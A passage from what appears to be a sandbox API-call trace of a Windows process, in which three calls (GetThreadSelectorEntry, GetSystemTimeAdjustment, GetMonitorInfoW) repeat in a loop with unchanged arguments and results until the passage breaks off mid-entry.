[0091.260] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.260] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.260] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.260] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.260] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.260] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.260] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.260] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.260] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.260] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.260] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.261] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.261] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.261] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.261] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.261] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.261] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.261] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.261] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.261] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.261] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.261] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.261] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.261] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.261] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.261] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.261] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.261] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.261] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.261] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.261] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.261] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.261] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.261] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.261] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.261] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.261] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.261] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.261] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.261] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.261] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.261] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.261] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.261] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.261] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.261] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.261] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.262] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.262] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.262] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.262] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.262] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.262] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.262] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.262] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.262] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.262] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.262] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.262] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.262] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.262] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.262] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.262] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.262] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.262] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.262] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.262] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.262] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.262] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.262] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.262] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.262] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.262] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.262] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.262] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.262] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.262] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.262] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.262] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.262] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.262] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.262] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.262] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.263] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.263] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.263] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.263] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.263] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.263] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.263] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.263] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.263] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.263] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.263] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.263] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.263] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.263] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.263] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.263] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.263] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.263] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.263] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.263] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.263] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.263] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.263] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.263] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.263] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.263] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.263] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.263] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.263] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.263] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.263] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.263] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.263] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.263] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.263] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.264] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.264] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.264] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.264] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.264] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.264] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.264] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.264] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.264] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.264] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.264] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.264] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.264] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.264] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.264] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.264] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.264] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.264] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.264] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.264] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.264] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.264] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.264] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.264] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.264] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.264] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.264] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.264] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.264] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.264] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.264] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.264] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.264] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.264] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.264] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.265] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.265] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, 